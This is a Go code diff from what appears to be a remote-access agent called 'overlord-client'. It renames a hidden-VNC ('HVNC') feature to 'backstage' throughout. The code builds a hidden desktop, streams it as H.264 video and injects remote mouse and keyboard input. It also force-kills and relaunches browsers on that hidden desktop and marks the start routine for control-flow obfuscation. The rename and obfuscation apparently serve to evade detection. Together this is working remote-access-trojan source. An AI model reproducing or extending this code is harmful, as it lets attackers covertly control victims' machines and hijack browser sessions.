backstageH264Buf bytes.Buffer
backstageH264Width int
backstageH264Height int
backstageH264FPS int
backstageH264Scratch []byte
)
func encodeH264FrameHVNC(img *image.RGBA) ([]byte, error) {
func encodeH264Framebackstage(img *image.RGBA) ([]byte, error) {
bounds := img.Bounds()
width := bounds.Dx()
height := bounds.Dy()
hvncH264Mu.Lock()
defer hvncH264Mu.Unlock()
backstageH264Mu.Lock()
defer backstageH264Mu.Unlock()
if err := ensureHVNCH264EncoderLocked(width, height); err != nil {
if err := ensurebackstageH264EncoderLocked(width, height); err != nil {
return nil, err
}
hvncH264Buf.Reset()
if err := hvncH264Enc.Encode(img); err != nil {
backstageH264Buf.Reset()
if err := backstageH264Enc.Encode(img); err != nil {
return nil, err
}
n := hvncH264Buf.Len()
n := backstageH264Buf.Len()
if n == 0 {
return nil, nil
}
if cap(hvncH264Scratch) < n {
hvncH264Scratch = make([]byte, n, n+(n/4))
if cap(backstageH264Scratch) < n {
backstageH264Scratch = make([]byte, n, n+(n/4))
} else {
hvncH264Scratch = hvncH264Scratch[:n]
backstageH264Scratch = backstageH264Scratch[:n]
}
copy(hvncH264Scratch, hvncH264Buf.Bytes())
return hvncH264Scratch, nil
copy(backstageH264Scratch, backstageH264Buf.Bytes())
return backstageH264Scratch, nil
}
func resetH264EncoderHVNC() {
hvncH264Mu.Lock()
defer hvncH264Mu.Unlock()
closeHVNCH264EncoderLocked()
func resetH264Encoderbackstage() {
backstageH264Mu.Lock()
defer backstageH264Mu.Unlock()
closebackstageH264EncoderLocked()
}
func ensureHVNCH264EncoderLocked(width, height int) error {
func ensurebackstageH264EncoderLocked(width, height int) error {
fps := activeH264FPS()
if hvncH264Enc != nil && hvncH264Width == width && hvncH264Height == height && hvncH264FPS == fps {
if backstageH264Enc != nil && backstageH264Width == width && backstageH264Height == height && backstageH264FPS == fps {
return nil
}
closeHVNCH264EncoderLocked()
closebackstageH264EncoderLocked()
opts := &x264.Options{
Width: width,
Height: height,
@@ -204,26 +204,26 @@ func ensureHVNCH264EncoderLocked(width, height int) error {
RateConstant: 23,
LogLevel: x264.LogError,
}
enc, err := x264.NewEncoder(&hvncH264Buf, opts)
enc, err := x264.NewEncoder(&backstageH264Buf, opts)
if err != nil {
return err
}
hvncH264Enc = enc
hvncH264Width = width
hvncH264Height = height
hvncH264FPS = fps
backstageH264Enc = enc
backstageH264Width = width
backstageH264Height = height
backstageH264FPS = fps
return nil
}
func closeHVNCH264EncoderLocked() {
if hvncH264Enc != nil {
_ = hvncH264Enc.Close()
hvncH264Enc = nil
func closebackstageH264EncoderLocked() {
if backstageH264Enc != nil {
_ = backstageH264Enc.Close()
backstageH264Enc = nil
}
hvncH264Width = 0
hvncH264Height = 0
hvncH264FPS = 0
hvncH264Buf.Reset()
backstageH264Width = 0
backstageH264Height = 0
backstageH264FPS = 0
backstageH264Buf.Reset()
}
var (
@@ -62,7 +62,7 @@ func VirtualKillAll() error {
return nil
}
func VirtualEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) {
func VirtualEnumWindows() ([]BackstageWindowInfo, []BackstageMonitorInfo) {
return nil, nil
}
@@ -294,7 +294,7 @@ func (s *virtualDuplicationState) encodeCachedDirectH264(capStart time.Time, wid
if len(out) == 0 {
return wire.Frame{}, time.Since(capStart), encodeDur, true, nil
}
return wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: 0, FPS: 0, Format: "h264", HVNC: true}, Data: out}, time.Since(capStart), encodeDur, true, nil
return wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: 0, FPS: 0, Format: "h264", Backstage: true}, Data: out}, time.Since(capStart), encodeDur, true, nil
}
func (s *virtualDuplicationState) cacheDirectH264Texture(src *d3d11Texture2D, srcDesc d3d11Texture2DDesc) error {
@@ -939,7 +939,7 @@ func VirtualKillAll() error {
return nil
}
func VirtualEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) {
func VirtualEnumWindows() ([]BackstageWindowInfo, []BackstageMonitorInfo) {
virtualMu.Lock()
bounds := virtualMonitorBounds
name := virtualMonitorName
@@ -950,7 +950,7 @@ func VirtualEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) {
return nil, nil
}
monInfos := []HVNCMonitorInfo{{
monInfos := []BackstageMonitorInfo{{
Index: 0,
Name: name,
X: bounds.Min.X,
@@ -973,7 +973,7 @@ func VirtualEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) {
deskHwnd, _, _ := procGetDesktopWindow.Call()
procEnumDesktopWindows.Call(deskHwnd, cb, 0)
var result []HVNCWindowInfo
var result []BackstageWindowInfo
for _, w := range windowList {
if !isWindowVisible(w.hwnd) {
continue
@@ -1010,7 +1010,7 @@ func VirtualEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) {
monIdx = 0
}
result = append(result, HVNCWindowInfo{
result = append(result, BackstageWindowInfo{
HWND: w.hwnd,
Title: title,
X: winLeft,
@@ -2221,7 +2221,7 @@ func virtualCurrentCursor() point {
}
virtualInputMu.Unlock()
var pt point
procGetCursorPosHVNC.Call(uintptr(unsafe.Pointer(&pt)))
procGetCursorPosbackstage.Call(uintptr(unsafe.Pointer(&pt)))
return pt
}
@@ -2397,7 +2397,7 @@ func VirtualCaptureDisplayFallback() (*image.RGBA, error) {
capW := srcW
capH := srcH
hdcScreen, hdcMem, buf, ok := hvncEnsureCapCache(capW, capH)
hdcScreen, hdcMem, buf, ok := backstageEnsureCapCache(capW, capH)
if !ok {
return nil, syscall.EINVAL
}
@@ -2443,8 +2443,8 @@ func drawVirtualWindowsToBuffer(hdcScreen uintptr, bounds image.Rectangle, targe
return 0
}
if hvncWinCache == nil {
hvncWinCache = make(map[uintptr]*hvncWinCacheEntry)
if backstageWinCache == nil {
backstageWinCache = make(map[uintptr]*backstageWinCacheEntry)
}
alive := make(map[uintptr]bool)
@@ -2476,17 +2476,17 @@ func drawVirtualWindowsToBuffer(hdcScreen uintptr, bounds image.Rectangle, targe
continue
}
if drawHVNCWindow(hdcScreen, hwnd, bounds, target, targetStride) {
if drawbackstageWindow(hdcScreen, hwnd, bounds, target, targetStride) {
drawn++
}
alive[hwnd] = true
hwnd = getWindow(hwnd, GW_HWNDPREV)
}
for h, entry := range hvncWinCache {
for h, entry := range backstageWinCache {
if !alive[h] {
hvncFreeCacheEntry(entry)
delete(hvncWinCache, h)
backstageFreeCacheEntry(entry)
delete(backstageWinCache, h)
}
}
@@ -0,0 +1,129 @@
package handlers
import (
"context"
"log"
"overlord-client/cmd/agent/capture"
rt "overlord-client/cmd/agent/runtime"
"sync"
"sync/atomic"
"time"
)
var (
backstagePersistedDisplayValue int
backstagePersistedDisplayMu sync.Mutex
backstageTargetFPS atomic.Int64
)
func persistbackstageDisplaySelection(display int) {
backstagePersistedDisplayMu.Lock()
backstagePersistedDisplayValue = display
backstagePersistedDisplayMu.Unlock()
}
func GetPersistedbackstageDisplay() int {
backstagePersistedDisplayMu.Lock()
defer backstagePersistedDisplayMu.Unlock()
return backstagePersistedDisplayValue
}
func backstageStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
fps := activebackstageTargetFPS()
interval := time.Second / time.Duration(fps)
capture.SetH264TargetFPS(fps)
capture.SetFrameFlowTargetFPS(fps)
log.Printf("backstage: starting stream (target fps %d)", fps)
if err := capture.InitializebackstageDesktop(); err != nil {
log.Printf("backstage: failed to initialize hidden desktop: %v", err)
return err
}
if autoStartExplorer {
goSafe("backstage auto-start explorer", nil, func() {
if err := capture.BackstageAutoStartExplorer(); err != nil {
log.Printf("backstage: auto-start explorer error: %v", err)
}
})
}
ticker := time.NewTicker(interval)
defer ticker.Stop()
currentFPS := fps
for {
select {
case <-ctx.Done():
log.Printf("backstage: stopping stream")
capture.CleanupbackstageDesktop()
return nil
case <-ticker.C:
fps := activebackstageTargetFPS()
if fps != currentFPS {
currentFPS = fps
capture.SetH264TargetFPS(fps)
capture.SetFrameFlowTargetFPS(fps)
ticker.Reset(time.Second / time.Duration(fps))
log.Printf("backstage: target fps changed to %d", fps)
}
if err := capture.Nowbackstage(ctx, env); err != nil {
if ctx.Err() != nil {
log.Printf("backstage: stopping stream")
capture.CleanupbackstageDesktop()
return nil
}
log.Printf("backstage: capture error: %v", err)
}
}
}
}
func activebackstageTargetFPS() int {
if fps := int(backstageTargetFPS.Load()); fps > 0 {
return fps
}
_, fps := streamInterval("OVERLORD_backstage_MAX_FPS", 120)
return SetbackstageTargetFPS(fps)
}
func SetbackstageTargetFPS(fps int) int {
fps = clampDesktopTargetFPS(fps)
backstageTargetFPS.Store(int64(fps))
capture.SetH264TargetFPS(fps)
capture.SetFrameFlowTargetFPS(fps)
return fps
}
func backstageSelect(ctx context.Context, env *rt.Env, display int) error {
prev := env.BackstageSelectedDisplay
maxDisplays := capture.BackstageMonitorCount()
if display < 0 || display >= maxDisplays {
log.Printf("backstage: WARNING - requested display %d out of range (0-%d), clamping to 0", display, maxDisplays-1)
display = 0
}
env.BackstageSelectedDisplay = display
persistbackstageDisplaySelection(display)
log.Printf("backstage: set selected display from %d to %d (reported monitors=%d, will capture monitor at index %d)", prev, display, maxDisplays, display)
return nil
}
func backstageMouseControl(ctx context.Context, env *rt.Env, enabled bool) error {
env.BackstageMouseControl = enabled
log.Printf("backstage: mouse control %v", enabled)
return nil
}
func backstageKeyboardControl(ctx context.Context, env *rt.Env, enabled bool) error {
env.BackstageKeyboardControl = enabled
log.Printf("backstage: keyboard control %v", enabled)
return nil
}
func backstageCursorControl(ctx context.Context, env *rt.Env, enabled bool) error {
env.BackstageCursorCapture = enabled
capture.SetbackstageCursorCapture(enabled)
log.Printf("backstage: cursor capture %v", enabled)
return nil
}
@@ -0,0 +1,10 @@
//go:build !windows
package handlers
func setCursorPosbackstage(x, y int32) {}
func sendMouseDownbackstage(button int) {}
func sendMouseUpbackstage(button int) {}
func sendKeyDownbackstage(vk uint16) {}
func sendKeyUpbackstage(vk uint16) {}
func keyCodeToVKbackstage(code string) uint16 { return 0 }
@@ -2,6 +2,6 @@
package handlers
func keyCodeToVKHVNC(code string) uint16 {
func keyCodeToVKbackstage(code string) uint16 {
return keyCodeToVK(code)
}
+212 -212
View File
@@ -39,24 +39,24 @@ var (
voiceSession *voiceRuntime
desktopAudioMu sync.Mutex
desktopAudioSession *voiceRuntime
hvncInputOnce sync.Once
hvncInputQueue chan hvncInputEvent
hvncInputDropped atomic.Uint64
backstageInputOnce sync.Once
backstageInputQueue chan backstageInputEvent
backstageInputDropped atomic.Uint64
)
type hvncInputKind int
type backstageInputKind int
const (
hvncInputMouseMove hvncInputKind = iota
hvncInputMouseDown
hvncInputMouseUp
hvncInputMouseWheel
hvncInputKeyDown
hvncInputKeyUp
BackstageInputMouseMove backstageInputKind = iota
BackstageInputMouseDown
BackstageInputMouseUp
BackstageInputMouseWheel
BackstageInputKeyDown
BackstageInputKeyUp
)
type hvncInputEvent struct {
kind hvncInputKind
type backstageInputEvent struct {
kind backstageInputKind
display int
x int32
y int32
@@ -105,18 +105,18 @@ func resetForReconnect(env *runtime.Env) {
env.SelectedDisplay = GetPersistedDisplay()
env.DesktopMu.Unlock()
env.HVNCMu.Lock()
if env.HVNCCancel != nil {
env.HVNCCancel()
env.BackstageMu.Lock()
if env.BackstageCancel != nil {
env.BackstageCancel()
}
waitStreamStop(env.HVNCDone, "hvnc")
env.HVNCCancel = nil
env.HVNCDone = nil
env.HVNCMouseControl = false
env.HVNCKeyboardControl = false
env.HVNCCursorCapture = false
env.HVNCSelectedDisplay = 0
env.HVNCMu.Unlock()
waitStreamStop(env.BackstageDone, "backstage")
env.BackstageCancel = nil
env.BackstageDone = nil
env.BackstageMouseControl = false
env.BackstageKeyboardControl = false
env.BackstageCursorCapture = false
env.BackstageSelectedDisplay = 0
env.BackstageMu.Unlock()
env.WebcamMu.Lock()
if env.WebcamCancel != nil {
@@ -184,44 +184,44 @@ func stopVirtualStreamLocked(env *runtime.Env) {
env.VirtualDone = nil
}
func ensureHVNCInputWorker() {
hvncInputOnce.Do(func() {
hvncInputQueue = make(chan hvncInputEvent, 1024)
goSafe("hvnc input worker", nil, func() {
for ev := range hvncInputQueue {
func ensurebackstageInputWorker() {
backstageInputOnce.Do(func() {
backstageInputQueue = make(chan backstageInputEvent, 1024)
goSafe("backstage input worker", nil, func() {
for ev := range backstageInputQueue {
switch ev.kind {
case hvncInputMouseMove:
if err := capture.HVNCInputMouseMove(ev.display, ev.x, ev.y); err != nil {
log.Printf("hvnc input worker: mouse_move failed: %v", err)
case BackstageInputMouseMove:
if err := capture.BackstageInputMouseMove(ev.display, ev.x, ev.y); err != nil {
log.Printf("backstage input worker: mouse_move failed: %v", err)
}
case hvncInputMouseDown:
case BackstageInputMouseDown:
if ev.x != 0 || ev.y != 0 {
_ = capture.HVNCInputMouseMove(ev.display, ev.x, ev.y)
_ = capture.BackstageInputMouseMove(ev.display, ev.x, ev.y)
}
if err := capture.HVNCInputMouseDown(ev.button); err != nil {
log.Printf("hvnc input worker: mouse_down failed: %v", err)
if err := capture.BackstageInputMouseDown(ev.button); err != nil {
log.Printf("backstage input worker: mouse_down failed: %v", err)
}
case hvncInputMouseUp:
case BackstageInputMouseUp:
if ev.x != 0 || ev.y != 0 {
_ = capture.HVNCInputMouseMove(ev.display, ev.x, ev.y)
_ = capture.BackstageInputMouseMove(ev.display, ev.x, ev.y)
}
if err := capture.HVNCInputMouseUp(ev.button); err != nil {
log.Printf("hvnc input worker: mouse_up failed: %v", err)
if err := capture.BackstageInputMouseUp(ev.button); err != nil {
log.Printf("backstage input worker: mouse_up failed: %v", err)
}
case hvncInputMouseWheel:
case BackstageInputMouseWheel:
if ev.x != 0 || ev.y != 0 {
_ = capture.HVNCInputMouseMove(ev.display, ev.x, ev.y)
_ = capture.BackstageInputMouseMove(ev.display, ev.x, ev.y)
}
if err := capture.HVNCInputMouseWheel(ev.delta); err != nil {
log.Printf("hvnc input worker: mouse_wheel failed: %v", err)
if err := capture.BackstageInputMouseWheel(ev.delta); err != nil {
log.Printf("backstage input worker: mouse_wheel failed: %v", err)
}
case hvncInputKeyDown:
if err := capture.HVNCInputKeyDown(ev.vk); err != nil {
log.Printf("hvnc input worker: key_down vk=%d failed: %v", ev.vk, err)
case BackstageInputKeyDown:
if err := capture.BackstageInputKeyDown(ev.vk); err != nil {
log.Printf("backstage input worker: key_down vk=%d failed: %v", ev.vk, err)
}
case hvncInputKeyUp:
if err := capture.HVNCInputKeyUp(ev.vk); err != nil {
log.Printf("hvnc input worker: key_up vk=%d failed: %v", ev.vk, err)
case BackstageInputKeyUp:
if err := capture.BackstageInputKeyUp(ev.vk); err != nil {
log.Printf("backstage input worker: key_up vk=%d failed: %v", ev.vk, err)
}
}
}
@@ -229,36 +229,36 @@ func ensureHVNCInputWorker() {
})
}
func enqueueHVNCInput(ev hvncInputEvent) {
ensureHVNCInputWorker()
func enqueuebackstageInput(ev backstageInputEvent) {
ensurebackstageInputWorker()
select {
case hvncInputQueue <- ev:
case backstageInputQueue <- ev:
return
default:
if ev.kind == hvncInputMouseMove {
dropped := hvncInputDropped.Add(1)
if ev.kind == BackstageInputMouseMove {
dropped := backstageInputDropped.Add(1)
if dropped%100 == 1 {
log.Printf("hvnc input queue: dropping mouse_move events dropped=%d", dropped)
log.Printf("backstage input queue: dropping mouse_move events dropped=%d", dropped)
}
return
}
t := time.NewTimer(200 * time.Millisecond)
defer t.Stop()
select {
case hvncInputQueue <- ev:
case backstageInputQueue <- ev:
case <-t.C:
log.Printf("hvnc input queue: enqueue timeout kind=%d", ev.kind)
log.Printf("backstage input queue: enqueue timeout kind=%d", ev.kind)
}
}
}
func clearHVNCInputQueue() {
if hvncInputQueue == nil {
func clearbackstageInputQueue() {
if backstageInputQueue == nil {
return
}
for {
select {
case <-hvncInputQueue:
case <-backstageInputQueue:
default:
return
}
@@ -1068,8 +1068,8 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
sendCommandResultAsync(env, cmdID)
return nil
// ==================== HVNC COMMANDS ====================
case "hvnc_start":
// ==================== backstage COMMANDS ====================
case "backstage_start":
payload, _ := envelope["payload"].(map[string]interface{})
autoStartExplorer := false
VirtualMode := false
@@ -1110,24 +1110,24 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
env.HVNCMu.Lock()
if env.HVNCCancel != nil {
env.HVNCCancel()
waitStreamStop(env.HVNCDone, "hvnc")
env.BackstageMu.Lock()
if env.BackstageCancel != nil {
env.BackstageCancel()
waitStreamStop(env.BackstageDone, "backstage")
}
hvncCtx, cancel := context.WithCancel(ctx)
env.HVNCCancel = cancel
backstageCtx, cancel := context.WithCancel(ctx)
env.BackstageCancel = cancel
done := make(chan struct{})
env.HVNCDone = done
goSafe("hvnc stream", env.Cancel, func() {
log.Printf("hvnc: start requested (autoStartExplorer=%v)", autoStartExplorer)
_ = HVNCStart(hvncCtx, env, autoStartExplorer)
env.BackstageDone = done
goSafe("backstage stream", env.Cancel, func() {
log.Printf("backstage: start requested (autoStartExplorer=%v)", autoStartExplorer)
_ = backstageStart(backstageCtx, env, autoStartExplorer)
close(done)
})
env.HVNCMu.Unlock()
env.BackstageMu.Unlock()
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_stop":
case "backstage_stop":
env.VirtualMu.Lock()
if env.VirtualCancel != nil {
log.Printf("hidden: stop requested")
@@ -1137,22 +1137,22 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
return nil
}
env.VirtualMu.Unlock()
env.HVNCMu.Lock()
log.Printf("hvnc: stop requested")
env.HVNCMouseControl = false
env.HVNCKeyboardControl = false
env.HVNCCursorCapture = false
clearHVNCInputQueue()
if env.HVNCCancel != nil {
env.HVNCCancel()
env.BackstageMu.Lock()
log.Printf("backstage: stop requested")
env.BackstageMouseControl = false
env.BackstageKeyboardControl = false
env.BackstageCursorCapture = false
clearbackstageInputQueue()
if env.BackstageCancel != nil {
env.BackstageCancel()
}
waitStreamStop(env.HVNCDone, "hvnc")
env.HVNCCancel = nil
env.HVNCDone = nil
env.HVNCMu.Unlock()
waitStreamStop(env.BackstageDone, "backstage")
env.BackstageCancel = nil
env.BackstageDone = nil
env.BackstageMu.Unlock()
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_select_display":
case "backstage_select_display":
payload, _ := envelope["payload"].(map[string]interface{})
disp := 0
if payload != nil {
@@ -1173,11 +1173,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
disp = int(v)
}
}
log.Printf("hvnc: select display %d", disp)
_ = HVNCSelect(ctx, env, disp)
log.Printf("backstage: select display %d", disp)
_ = backstageSelect(ctx, env, disp)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_enable_mouse":
case "backstage_enable_mouse":
payload, _ := envelope["payload"].(map[string]interface{})
enabled := true
if payload != nil {
@@ -1191,11 +1191,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
log.Printf("hvnc: mouse control %v", enabled)
_ = HVNCMouseControl(ctx, env, enabled)
log.Printf("backstage: mouse control %v", enabled)
_ = backstageMouseControl(ctx, env, enabled)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_enable_keyboard":
case "backstage_enable_keyboard":
payload, _ := envelope["payload"].(map[string]interface{})
enabled := true
if payload != nil {
@@ -1209,11 +1209,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
log.Printf("hvnc: keyboard control %v", enabled)
_ = HVNCKeyboardControl(ctx, env, enabled)
log.Printf("backstage: keyboard control %v", enabled)
_ = backstageKeyboardControl(ctx, env, enabled)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_enable_cursor":
case "backstage_enable_cursor":
payload, _ := envelope["payload"].(map[string]interface{})
enabled := false
if payload != nil {
@@ -1227,11 +1227,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
log.Printf("hvnc: cursor capture %v", enabled)
_ = HVNCCursorControl(ctx, env, enabled)
log.Printf("backstage: cursor capture %v", enabled)
_ = backstageCursorControl(ctx, env, enabled)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_enable_dxgi":
case "backstage_enable_dxgi":
payload, _ := envelope["payload"].(map[string]interface{})
dxgiEnabled := true
if payload != nil {
@@ -1239,11 +1239,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
dxgiEnabled = v
}
}
log.Printf("hvnc: DXGI capture %v", dxgiEnabled)
capture.SetHVNCDXGIEnabled(dxgiEnabled)
log.Printf("backstage: DXGI capture %v", dxgiEnabled)
capture.SetbackstageDXGIEnabled(dxgiEnabled)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_enable_uia":
case "backstage_enable_uia":
payload, _ := envelope["payload"].(map[string]interface{})
uiaEnabled := true
if payload != nil {
@@ -1251,11 +1251,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
uiaEnabled = v
}
}
log.Printf("hvnc: UIA support %v", uiaEnabled)
capture.SetHVNCUIAEnabled(uiaEnabled)
log.Printf("backstage: UIA support %v", uiaEnabled)
capture.SetbackstageUIAEnabled(uiaEnabled)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_set_resolution":
case "backstage_set_resolution":
payload, _ := envelope["payload"].(map[string]interface{})
maxH := 1080
if payload != nil {
@@ -1263,11 +1263,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
maxH = v
}
}
log.Printf("hvnc: set resolution maxHeight=%d", maxH)
log.Printf("backstage: set resolution maxHeight=%d", maxH)
capture.SetMaxResolution(maxH)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_set_fps":
case "backstage_set_fps":
payload, _ := envelope["payload"].(map[string]interface{})
fps := 120
if payload != nil {
@@ -1279,14 +1279,14 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
fps = SetVirtualTargetFPS(fps)
} else {
// Also seed virtual mode so a setting sent immediately before
// hvnc_start is retained when that start selects virtual mode.
fps = SetHVNCTargetFPS(fps)
// backstage_start is retained when that start selects virtual mode.
fps = SetbackstageTargetFPS(fps)
SetVirtualTargetFPS(fps)
}
log.Printf("hvnc: set target fps=%d", fps)
log.Printf("backstage: set target fps=%d", fps)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_set_quality":
case "backstage_set_quality":
payload, _ := envelope["payload"].(map[string]interface{})
quality := 90
codec := ""
@@ -1298,16 +1298,16 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
codec = v
}
}
log.Printf("hvnc: set quality=%d codec=%s", quality, codec)
log.Printf("backstage: set quality=%d codec=%s", quality, codec)
capture.SetQualityAndCodec(quality, codec)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_request_keyframe":
log.Printf("hvnc: request full frame")
capture.RequestHVNCFullFrame()
case "backstage_request_keyframe":
log.Printf("backstage: request full frame")
capture.RequestbackstageFullFrame()
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_mouse_move":
case "backstage_mouse_move":
payload, _ := envelope["payload"].(map[string]interface{})
x, y := int32(0), int32(0)
if payload != nil {
@@ -1372,14 +1372,14 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
capture.VirtualInputMouseMove(x, y)
return nil
}
if !env.HVNCMouseControl {
if !env.BackstageMouseControl {
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
enqueueHVNCInput(hvncInputEvent{kind: hvncInputMouseMove, display: env.HVNCSelectedDisplay, x: x, y: y})
enqueuebackstageInput(backstageInputEvent{kind: BackstageInputMouseMove, display: env.BackstageSelectedDisplay, x: x, y: y})
return nil
case "hvnc_mouse_down":
if env.VirtualCancel == nil && !env.HVNCMouseControl {
case "backstage_mouse_down":
if env.VirtualCancel == nil && !env.BackstageMouseControl {
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
@@ -1475,10 +1475,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
_ = capture.VirtualInputMouseDown(btn)
return nil
}
enqueueHVNCInput(hvncInputEvent{kind: hvncInputMouseDown, display: env.HVNCSelectedDisplay, button: btn, x: x, y: y})
enqueuebackstageInput(backstageInputEvent{kind: BackstageInputMouseDown, display: env.BackstageSelectedDisplay, button: btn, x: x, y: y})
return nil
case "hvnc_mouse_up":
if env.VirtualCancel == nil && !env.HVNCMouseControl {
case "backstage_mouse_up":
if env.VirtualCancel == nil && !env.BackstageMouseControl {
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
@@ -1574,10 +1574,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
_ = capture.VirtualInputMouseUp(btn)
return nil
}
enqueueHVNCInput(hvncInputEvent{kind: hvncInputMouseUp, display: env.HVNCSelectedDisplay, button: btn, x: x, y: y})
enqueuebackstageInput(backstageInputEvent{kind: BackstageInputMouseUp, display: env.BackstageSelectedDisplay, button: btn, x: x, y: y})
return nil
case "hvnc_mouse_wheel":
if env.VirtualCancel == nil && !env.HVNCMouseControl {
case "backstage_mouse_wheel":
if env.VirtualCancel == nil && !env.BackstageMouseControl {
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
@@ -1673,10 +1673,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
_ = capture.VirtualInputMouseWheel(delta)
return nil
}
enqueueHVNCInput(hvncInputEvent{kind: hvncInputMouseWheel, display: env.HVNCSelectedDisplay, delta: delta, x: x, y: y})
enqueuebackstageInput(backstageInputEvent{kind: BackstageInputMouseWheel, display: env.BackstageSelectedDisplay, delta: delta, x: x, y: y})
return nil
case "hvnc_key_down":
if env.VirtualCancel == nil && !env.HVNCKeyboardControl {
case "backstage_key_down":
if env.VirtualCancel == nil && !env.BackstageKeyboardControl {
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
@@ -1687,7 +1687,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
code = v
}
}
if vk := keyCodeToVKHVNC(code); vk != 0 {
if vk := keyCodeToVKbackstage(code); vk != 0 {
if env.VirtualCancel != nil {
if !env.VirtualKeyboardControl {
sendCommandResultSafe(env, cmdID, true, "")
@@ -1696,11 +1696,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
capture.VirtualInputKeyDown(vk)
return nil
}
enqueueHVNCInput(hvncInputEvent{kind: hvncInputKeyDown, vk: vk})
enqueuebackstageInput(backstageInputEvent{kind: BackstageInputKeyDown, vk: vk})
}
return nil
case "hvnc_key_up":
if env.VirtualCancel == nil && !env.HVNCKeyboardControl {
case "backstage_key_up":
if env.VirtualCancel == nil && !env.BackstageKeyboardControl {
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
@@ -1711,7 +1711,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
code = v
}
}
if vk := keyCodeToVKHVNC(code); vk != 0 {
if vk := keyCodeToVKbackstage(code); vk != 0 {
if env.VirtualCancel != nil {
if !env.VirtualKeyboardControl {
sendCommandResultSafe(env, cmdID, true, "")
@@ -1720,10 +1720,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
capture.VirtualInputKeyUp(vk)
return nil
}
enqueueHVNCInput(hvncInputEvent{kind: hvncInputKeyUp, vk: vk})
enqueuebackstageInput(backstageInputEvent{kind: BackstageInputKeyUp, vk: vk})
}
return nil
case "hvnc_start_process":
case "backstage_start_process":
payload, _ := envelope["payload"].(map[string]interface{})
filePath := ""
killExe := ""
@@ -1757,12 +1757,12 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
})
return nil
}
log.Printf("hvnc: start process %q (kill_exe=%q opera_patch=%v display=%d)", filePath, killExe, operaPatch, display)
log.Printf("backstage: start process %q (kill_exe=%q opera_patch=%v display=%d)", filePath, killExe, operaPatch, display)
sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_start_process", nil, func() {
goSafe("backstage_start_process", nil, func() {
sendLaunchStatus := func(step string, success bool, detail string) {
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCBrowserLaunchStatus{
Type: "hvnc_browser_launch_status",
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageBrowserLaunchStatus{
Type: "backstage_browser_launch_status",
Browser: filepath.Base(strings.Trim(filePath, `"`)),
Step: step,
Success: success,
@@ -1772,14 +1772,14 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
if killExe != "" {
sendLaunchStatus("kill", true, "killing "+killExe)
out, err := exec.Command("taskkill", "/f", "/im", killExe).CombinedOutput()
log.Printf("hvnc: taskkill /f /im %s: %s (err=%v)", killExe, strings.TrimSpace(string(out)), err)
log.Printf("backstage: taskkill /f /im %s: %s (err=%v)", killExe, strings.TrimSpace(string(out)), err)
if err != nil {
sendLaunchStatus("kill", false, fmt.Sprintf("taskkill failed: %s", strings.TrimSpace(string(out))))
}
}
sendLaunchStatus("launch", true, fmt.Sprintf("starting %s", filePath))
if err := capture.StartHVNCProcess(filePath, operaPatch, display); err != nil {
log.Printf("hvnc: start process failed for %q: %v", filePath, err)
if err := capture.StartbackstageProcess(filePath, operaPatch, display); err != nil {
log.Printf("backstage: start process failed for %q: %v", filePath, err)
sendLaunchStatus("launch", false, fmt.Sprintf("failed: %v", err))
} else {
